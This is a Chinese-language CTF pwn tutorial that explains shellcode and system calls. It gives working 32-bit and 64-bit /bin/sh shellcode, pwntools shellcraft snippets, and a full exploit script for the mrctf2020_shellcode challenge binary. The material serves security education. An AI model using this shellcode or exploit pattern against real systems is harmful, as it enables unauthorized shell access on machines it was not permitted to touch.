shellcode是一段用於利用軟體漏洞而執行的程式碼,通常使用機器語言編寫,其目的往往是讓攻擊者獲得目標機器的命令列shell而得名,其他有類似功能的程式碼也可以稱為shellcode。
最簡單的shellcode就是直接用C語言system函數來呼叫/bin/sh
,程式碼如下:
# include <stdlib.h>
# include <unistd.h>
int main(void)
{
system("/bin/sh");
return 0;
}
編譯上述程式碼生成可執行檔案,執行可執行檔案便可以獲得機器的shell。
上面是用C語言寫的,用組合語言也可以實現。具體思路就是設定好各個暫存器的值,然後觸發內中斷,執行系統呼叫。
這裡簡單介紹一下中斷,補充一下背景知識。
對於任何一個通用的CPU,都具備一種能力,可以在執行完當前正在執行的指令之後,檢測到從CPU外部傳送過來的(外中斷)或CPU內部產生的(內中斷)一種特殊資訊,並且可以立即對所接收到的資訊進行處理。這種特殊的資訊被稱為「中斷資訊」。中斷的意思是指CPU不再接著剛執行完的指令向下執行,而是去處理這個特殊資訊。
CPU的內中斷有四種情況:(1)除法錯誤;(2)單步執行;(3)執行into指令;(4)執行int指令。
int指令的格式為:int n
,n為中斷型別碼。CPU執行int n
,相當於引發一個n號中斷的過程。int 0x80
表示引發0x80號中斷,而0x80號中斷就是系統呼叫,具體是哪個系統呼叫,就看暫存器EAX的值,這個值就是系統呼叫編號。在32位元程式中,execve對應的系統呼叫編號是0xb;在64位元程式中,execve對應的系統呼叫編號是0x3b。關於中斷的詳細資訊可以查閱王爽老師的《組合語言》,關於系統呼叫的詳細資訊可以參考你真的知道什麼是系統呼叫嗎?和作業系統(linux0.11)的系統呼叫。
32位元的shellcode命名為shell32.asm
,需要:(1)設定ebx指向/bin/sh(2)ecx=0,edx=0(3)eax=0xb(4)int 0x80觸發中斷。
global _start
_start:
push "/sh"
push "/bin"
mov ebx, esp ;;ebx="/bin/sh"
xor edx, edx ;;edx=0
xor ecx, ecx ;;ecx=0
mov al, 0xb ;;設定al=0xb,對應系統呼叫execve
int 0x80
用命令nasm -f elf32 shell32.asm -o shell32.o
編譯得到shell32.o
,用命令ld -m elf_i386 shell32.o -o shell32
連結得到shell32
,執行即可使用shell。
64位元的shellcode命名為shell64.asm
,需要:(1)設定rdi指向/bin/sh(2)rsi=0,rdx=0(3)rax=0x3b(4)syscall 進行系統呼叫。注意,64位元不再用int 0x80
觸發中斷,而是直接用syscall
進行系統呼叫。
global _start
_start:
mov rbx, '/bin/sh'
push rbx
push rsp
pop rdi
xor esi, esi
xor edx, edx
push 0x3b
pop rax
syscall
用命令nasm -f elf64 shell64.asm -o shell64.o
編譯得到shell64.o
,用命令ld -m x86_64 shell64.o -o shell64
連結得到shell64
,執行即可使用shell。
在pwn工具準備一文中介紹了pwntools的安裝,這是一個python的包,也是解決pwn題強有力的武器。
生成32位元shellcode的python程式碼:
from pwn import*
context(log_level = 'debug', arch = 'i386', os = 'linux')
shellcode=asm(shellcraft.sh())
生成64位元shellcode的python程式碼:
from pwn import*
context(log_level = 'debug', arch = 'amd64', os = 'linux')
shellcode=asm(shellcraft.sh())
context
用來設定執行時全域性變數,比如體系結構、作業系統等。
shellcraft
用來生成指定體系結構和作業系統下的shellcode,如果沒有在context設定全域性執行時變數,還可以將shellcraft.sh()
完整寫成shellcraft.i386.linux.sh()
。
asm
用來生成組合和反組合程式碼,體系結構、作業系統等引數可以通過context
來設定,也可以在asm
中引數的形式設定。上面的程式碼如果沒有asm()
也可以得到正常的結果,但是會顯式的直接寫出\n
,而不是將其識別為換行。
執行上面的python程式碼就可以生成指定的shellcode。
看一道簡單的題mrctf2020_shellcode,首先用checksec mrctf2020_shellcode
檢視一下格式和保護,結果表明這是一個64位元的程式,沒有開啟棧溢位保護和NX保護,有可讀可寫可執行的棧。
然後用sudo chmod +x mrctf2020_shellcode
新增可執行許可權,執行一下看看情況。
接著將程式拖到IDA Pro 64位元中,或者用gdb偵錯,得到的組合程式碼如下:
0x555555555159 <main+4> sub rsp, 0x410
0x555555555160 <main+11> mov rax, qword ptr [rip + 0x2ec9] <stdin@@GLIBC_2.2.5>
0x555555555167 <main+18> mov esi, 0
0x55555555516c <main+23> mov rdi, rax
0x55555555516f <main+26> call setbuf@plt <setbuf@plt>
0x555555555174 <main+31> mov rax, qword ptr [rip + 0x2ea5] <stdout@@GLIBC_2.2.5>
0x55555555517b <main+38> mov esi, 0
0x555555555180 <main+43> mov rdi, rax
0x555555555183 <main+46> call setbuf@plt <setbuf@plt>
0x555555555188 <main+51> mov rax, qword ptr [rip + 0x2eb1] <stderr@@GLIBC_2.2.5>
0x55555555518f <main+58> mov esi, 0
0x555555555194 <main+63> mov rdi, rax
0x555555555197 <main+66> call setbuf@plt <setbuf@plt>
0x55555555519c <main+71> lea rdi, [rip + 0xe61]
0x5555555551a3 <main+78> call puts@plt <puts@plt>
0x5555555551a8 <main+83> lea rax, [rbp - 0x410]
0x5555555551af <main+90> mov edx, 0x400
0x5555555551b4 <main+95> mov rsi, rax
0x5555555551b7 <main+98> mov edi, 0
0x5555555551bc <main+103> mov eax, 0
0x5555555551c1 <main+108> call read@plt <read@plt>
0x5555555551c6 <main+113> mov dword ptr [rbp - 4], eax
0x5555555551c9 <main+116> cmp dword ptr [rbp - 4], 0
0x5555555551cd <main+120> jg main+129 <main+129>
0x5555555551d6 <main+129> lea rax, [rbp - 0x410]
0x5555555551dd <main+136> call rax
0x5555555551df <main+138> mov eax, 0
這段程式碼比較簡單,可以直接分析一下。首先是sub rsp, 0x410
是為區域性變數開闢空間,接著依次呼叫了stdin
、stdout
、stderr
,然後呼叫puts
在螢幕上列印Show me your magic!
。重點是接下來的部分,可以看到呼叫了read
函數,該函數有三個引數,第一個參數列示要讀的資訊的來源,第二個參數列示存放讀入資訊的緩衝區,第三個參數列示讀的資訊的位元組數。在C語言函數呼叫棧中介紹了64位元程式中函數呼叫優先使用暫存器傳參,所以edx傳入的是第三個引數,rsi傳入的是第二個引數,edi傳入的第一個引數,表明要讀入0x400個位元組的資料,存放資料的緩衝區地址是rbp-0x410
,從標準輸入中讀取資料,函數呼叫的返回值存放在eax暫存器中,read
函數的返回值是實際讀取的位元組數,所以接下來的語句是將實際讀取的位元組數存入rbp-4
的位置,將這個值與0比較,如果大於0(即實際讀取的位元組數大於0),則跳轉到<main+129>的地方執行,將rbp-0x410
的值傳給rax,然後call rax
意味著以rax暫存器存放值為地址,跳轉到該處執行接下來的指令。實際上,rbp-0x410
就是read
函數緩衝區開始的地方,換句話說,這個程式的作用就是將read
讀取的資料當成指令來執行,如果向程式輸入的資料是獲取shell的指令,那麼我們就可以獲取shell了。我們可以用pwntools來構建shellcode,然後傳送給程式。
from pwn import *
context(os = 'linux',arch = 'amd64') # checksec告訴我們這是64位元程式
p = process('./mrctf2020_shellcode') # 啟動程序
shellcode = shellcraft.sh() # 生成shellcode
payload = asm(shellcode) # 構建payload
p.send(payload) # 向程序傳送payload
# gdb.attach(p) # 在新終端中用gdb偵錯程序
p.interactive() # 與程序互動
星盟安全團隊課程:https://www.bilibili.com/video/BV1Uv411j7fr
CTF競賽權威指南(Pwn篇)(楊超 編著,吳石 eee戰隊 審校,電子工業出版社)
組合語言(第3版)(王爽 著,清華大學出版社)
pwntools官方檔案:http://docs.pwntools.com/en/latest/